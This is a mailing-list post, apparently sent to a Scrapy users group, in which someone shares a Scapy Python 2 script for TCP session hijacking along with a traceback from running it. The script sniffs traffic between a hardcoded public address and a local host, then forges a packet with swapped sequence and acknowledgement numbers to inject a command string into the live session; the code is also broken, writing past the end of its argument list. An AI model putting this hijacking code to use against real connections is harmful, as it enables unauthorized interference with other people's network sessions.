>>> sniff(count=0,prn = lambda p : 
hijack(p),filter=filtre,lfilter=lambda(f): f.haslayer(IP) and 
f.haslayer(TCP))
Traceback (most recent call last):
  File "<console>", line 1, in <module>
  File "/usr/local/lib/python2.7/dist-packages/scapy/sendrecv.py", line 
620, in sniff
    r = prn(p)
  File "<console>", line 1, in <lambda>
  File "<console>", line 2, in hijack
IndexError: list index out of range


from scapy.all import *
import sys

sys.argv = ["1","1","1"]
sys.argv[1] = "218.188.80.138"
sys.argv[2] = "80"
sys.argv[3] = "192.168.157.128"
sys.argv[3] = "192.168.157.2"
sys.argv[4] = "192.168.157.128"

filtre = "host " + sys.argv[1] + " and port " + sys.argv[2]
print "Waiting For Hosts " + sys.argv[1] + " > " + sys.argv[3] + " And Port 
" + sys.argv[2]
print " "
     
def hijack(p):
 cmd=sys.argv[4] 
     
 if p[IP].src==sys.argv[1] and p[IP].dst==sys.argv[3]:
    print "[+] Found!"
    print "Seq: " + str(p[TCP].seq) + " | Ack: " + str(p[TCP].ack)
    """Seq = Seq_du_paquet_precedent + Len_des_Datas"""
    print "Hijack Seq: " + str(p[TCP].ack) + " |  Hijack Ack: " + 
str(p[TCP].seq)
    print " "
    print "[+] Hijack Session!"
 
 ether = Ether(dst=p[Ether].src, src=p[Ether].dst)
     
 ip = IP(src=p[IP].dst, dst=p[IP].src, ihl=p[IP].ihl, flags=p[IP].flags, 
frag=p[IP].frag, ttl=p[IP].ttl,
 proto=p[IP].proto, id=29321)
     
 tcp = TCP(sport=p[TCP].dport, dport=p[TCP].sport, seq=p[TCP].ack, 
ack=p[TCP].seq, dataofs=p[TCP].dataofs,
 reserved=p[TCP].reserved, flags="PA", window=p[TCP].window, 
options=p[TCP].options)
     
 hijack2 = ether/ip/tcp/(cmd+"\n")
 sendp(hijack2)
 sys.exit()


sniff(count=0,prn = lambda p : hijack(p),filter=filtre,lfilter=lambda(f): 
f.haslayer(IP) and f.haslayer(TCP))

-- 
You received this message because you are subscribed to the Google Groups 
"scrapy-users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to scrapy-users+unsubscr...@googlegroups.com.
To post to this group, send email to scrapy-users@googlegroups.com.
Visit this group at https://groups.google.com/group/scrapy-users.
For more options, visit https://groups.google.com/d/optout.

Reply via email to